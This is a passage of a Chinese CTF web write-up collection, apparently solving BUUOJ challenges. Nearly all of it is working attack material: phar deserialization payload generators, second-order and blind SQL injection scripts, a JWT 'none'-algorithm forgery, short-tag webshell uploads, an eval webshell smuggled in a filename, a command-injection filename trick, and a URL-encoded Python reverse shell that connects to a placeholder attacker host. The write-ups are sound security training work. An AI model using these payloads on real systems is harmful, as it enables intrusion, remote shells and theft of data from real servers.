for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

审计完后发现是个phar反序列化,触发点在delete.php

<?php

class User {
public $db;
}

class FileList {
private $files;
public function __construct($filename) {
$this->files = array($filename);
}
}

class File {
public $filename;
}
@unlink("test.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("test.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();

/*设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾*/
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$a = new User();
$b = new File();
$b->filename = "/flag.txt";
$c = new FileList($b);
$a->db = $c;

//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($a);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "evo1ution");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>

得到的test.phar直接改后缀变成test.jpg上传,不要抓包修改,会出问题,然后发包即可

/delete.php
POST:
filename=phar://test.jpg

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

查看源码有提示<!--?file=?-->,直接用filter去读源码

index.php

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<h2>2077发售了,不来份实体典藏版吗?</h2>
<img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<h3>提交订单</h3>
<form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button>
</form>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

config.php

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

confirm.php

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<img class="logo" src="./assets/img/logo-zh.png">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
<a href="./index.php">
<button class='btn btn-lg btn-sub btn-white'>返回</button>
</a>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

search.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>订单查询</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">查询订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>修改收货地址</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">修改订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>删除订单</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">删除订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

change.php中的address没被过滤,考虑二次注入(注意flag在文件里),简单写了个脚本

import requests
import re

url = "http://c252b030-01a3-4a8f-9b73-8f6a8a71bc2f.node4.buuoj.cn:81/"

def confirm(username):
url_confirm = url + "confirm.php"
data = {
'address':'a',
'phone':'a',
'user_name':username
}
r = requests.post(url=url_confirm,data=data)
if username in r.text:
print("[+]"+username+"已提交订单")
else:
print("[+]订单提交成功")

def change(username, address):
url_change = url + "change.php"
data = {
'address':address,
'phone':'a',
'user_name':username
}
requests.post(url=url_change,data=data)
r = requests.post(url=url_change,data=data)
if "订单修改成功" in r.text:
print("[+]订单修改成功!")
else:
print("[-]Error!\n"+r.text)

def search(username):
url_search = url + "search.php"
data = {
"phone":'a',
"user_name":username
}
r = requests.post(url=url_search,data=data)
return r.text


if __name__ == '__main__':
username = "flag"
address = "',`address`=(select load_file('/flag.txt'))#"
confirm(username)
change(username,address)
res = search(username)
# print(res)
flag = re.findall(r'flag{.*}',res)[0]
print(flag)

[红明谷CTF 2021]write_shell

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

采用php短标签形式即可

http://86b8a10c-6541-4fda-a7d4-89a2f8815a45.node4.buuoj.cn:81/?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

然后pwd看下路径访问即可

修改Cookie即可

[网鼎杯 2020 白虎组]PicDown

非预期

/page?url=../../../../flag

正常解

/page?url=../../../../app/app.py

得到源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

读取密钥

/page?url=../../../../proc/self/fd/3

反弹shell即可

/no_one_know_the_manager?key=oWrYaRx%2FzaROwW9ZmmsUCf%2BCC5I5Wxj6vUznsHum7pI%3D&shell=export%20RHOST%3D%22your-ip%22%3Bexport%20RPORT%3Dyour-port%3Bpython2%20-c%20'import%20sys%2Csocket%2Cos%2Cpty%3Bs%3Dsocket.socket()%3Bs.connect((os.getenv(%22RHOST%22)%2Cint(os.getenv(%22RPORT%22))))%3B%5Bos.dup2(s.fileno()%2Cfd)%20for%20fd%20in%20(0%2C1%2C2)%5D%3Bpty.spawn(%22sh%22)'

[HITCON 2017]SSRFme

看一下目录

/?url=/&filename=evo1
/sandbox/{md5("orange" . $_SERVER["REMOTE_ADDR"])}/evo1

发现有readflag,参考这个博客

先新建一个名为"bash -c /readflag|"的文件,用于之后的命令执行
/?url=&filename=bash -c /readflag|
再利用GET执行bash -c /readflag保存到flag文件
/?url=file:bash -c /readflag|&filename=flag
读取
/sandbox/{md5("orange" . $_SERVER["REMOTE_ADDR"])}/flag

[b01lers2020]Welcome to Earth

一路查看源码到/fight/这个页面下,发现js

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}

function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

// TODO: unscramble function
}

flag是个有意义的字符串,猜一下就出来了

pctf{hey_boys_im_baaaaaaaaaack!}

也可以全排列找一下,贴一下网上的脚本

from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)

[CISCN2019 总决赛 Day2 Web1]Easyweb

robots.txt中看到*.php.bak,进而下载image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以下载文件

/image.php?id=\0&path=union select 1,0x757365722e706870-- -

选择盲注获得帐号密码(简单说一下,payload其实就是用反斜杠去修饰'从而把一部分语句整体当作字符串,进而把后面自己的语句拼接进来)

import requests
import re
import time

url = "http://366d577d-9b43-415c-bb7d-2000a0740d85.node4.buuoj.cn:81/image.php"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
params = {
# 库:ciscnfinal
# "path":" and if(ascii(substr((select database()),{},1))<{},1,0)#".format(i,mid),

# 表:images,users
# "path":" and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))<{},1,0)#".format(i,mid),

# 列:username,password
# 这里注意'和"被ban掉了,使用十六进制绕一下就好
# "path":" and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),{},1))<{},1,0)#".format(i,mid),
# "stunum":"if(ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='flag'),{},1))<{},1,2)".format(i,mid)

# 帐号:admin
# "path":" and if(ascii(substr((select group_concat(username)from users),{},1))<{},1,0)#".format(i,mid),
# 密码:9f73c6a30158bf8ea651
"path":" and if(ascii(substr((select group_concat(password)from users),{},1))<{},1,0)#".format(i,mid),

"id":"1\\0"
}
time.sleep(0.1)
response = requests.get(url=url,params=params)
# print(params["path"])
# print(response.text)
if "JFIF" in response.text:
r = mid
else:
l = mid

if flag[-1] == ' ' or flag[-1] == '}':
break

admin:9f73c6a30158bf8ea651直接登录,随便上传一下发现

I logged the file name you uploaded to logs/upload.b43e8deb615da0ea8c6d578b322190ae.log.php. LOL

访问后发现他会记录你上传的文件名字,用短标签就可以绕过检测

filename="<?=eval($_POST[1]);?>"

然后访问对应log位置执行1=system(cat /flag);即可

[HFCTF2020]EasyLogin

/static/js/app.js中发现采用的koa框架,搜索后发现其常用路径为

/controllers/api.js

访问后获取到源码

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

审计后发现伪造jwt即可

import jwt

token = jwt.encode({"secretid": [],"username": "admin","password": "evo1","iat": 1689834761},algorithm="none",key="")

print(token)

访问api/login后带着相应Cookie去访问api/flag即可

[GYCTF2020]Ezsqli

过滤了一些字符,盲注一下,要注意的是查表要用sys.schema_table_statistics_with_buffer,因为information_schema被过滤了,然后使用过滤了union的无列名注入获取flag

import requests
import re
import time

url = "http://43b852f8-5f89-433d-b70f-1e456f01ecd3.node4.buuoj.cn:81/index.php"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 库:give_grandpa_pa_pa_pa
# "id":"if(ascii(substr((select database()),{},1))<{},1,2)".format(i,mid)

# 表:users233333333333333,f1ag_1s_h3r3_hhhhh
# "id":"if(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))<{},1,2)".format(i,mid)

# flag{1fe37544-a156-47e2-971a-ad1ac26a7a0f}
"id":"if((select * from f1ag_1s_h3r3_hhhhh)<(1,'{}'),1,2)".format(flag+chr(mid))
}
time.sleep(0.5)
response = requests.post(url=url,data=data)
if "Nu1L" in response.text:
r = mid
else:
l = mid

if flag[-1] == ' ' or flag[-1] == '}':
break

[SWPUCTF 2018]SimplePHP

file.php查看各个文件源码

index.php
<?php 
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
base.php
<?php 
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
function.php
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
file.php
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
upload_file.php
<?php 
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>

</script>
</body>
</html>

审计后发现使用phar协议解题,寻找可用POP链条

file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct()

编写脚本

<?php
//反序列化payload构造
// class TestObject {
// }
class C1e4r
{
public $test;
public $str;
public function __construct()
{
$this->str = new Show();
}
}

class Show
{
public $source;
public $str;
public function __construct()
{
$this->str['str'] = new Test();
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array('source'=>'/var/www/html/f1ag.php');
}
}
@unlink("phar.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();

/*设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾*/
/*$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); */
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$o = new C1e4r();
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "evo1ution");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>

修改phar.phar后缀为.jpg上传,在/upload目录下找到上传的文件的名称,结合file.php即可获得flag

/file.php?file=phar://upload/42574e9d70ad4a54c530fd9a294a46dc.jpg

[NCTF2019]SQLi

访问/robots.txt发现/hint.txt,访问后获取到提示

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

登陆后发现没东西,还是要注密码(这里说一下%00虽然被过滤了,但是直接输入%00可以防止二次编码,进而达到截断的作用)

passwd=||/**/1;%00&username=a\

用正则去注密码

import requests
import re
import time
from urllib import parse
import string

alphabet = '_' + string.ascii_lowercase + string.digits
url = "http://b56aae62-943a-4d88-9c57-c3f29054954b.node4.buuoj.cn:81/index.php"

passwd = ''
for i in range(1,60):
for j in alphabet:
data = {
'passwd':'||/**/passwd/**/regexp("^{}");{}'.format(passwd+j,parse.unquote('%00')),
'username':'a\\'
}
time.sleep(0.1)
response = requests.post(url=url,data=data)
if response.status_code == 404:
passwd += j
print(passwd)
break

# you_will_never_know7788990

登录即可

passwd=you_will_never_know7788990&username=evo1

[RootersCTF2019]I_<3_Flask

Arjun爆破下得到参数name,直接打没过滤的ssti即可

[网鼎杯 2018]Comment

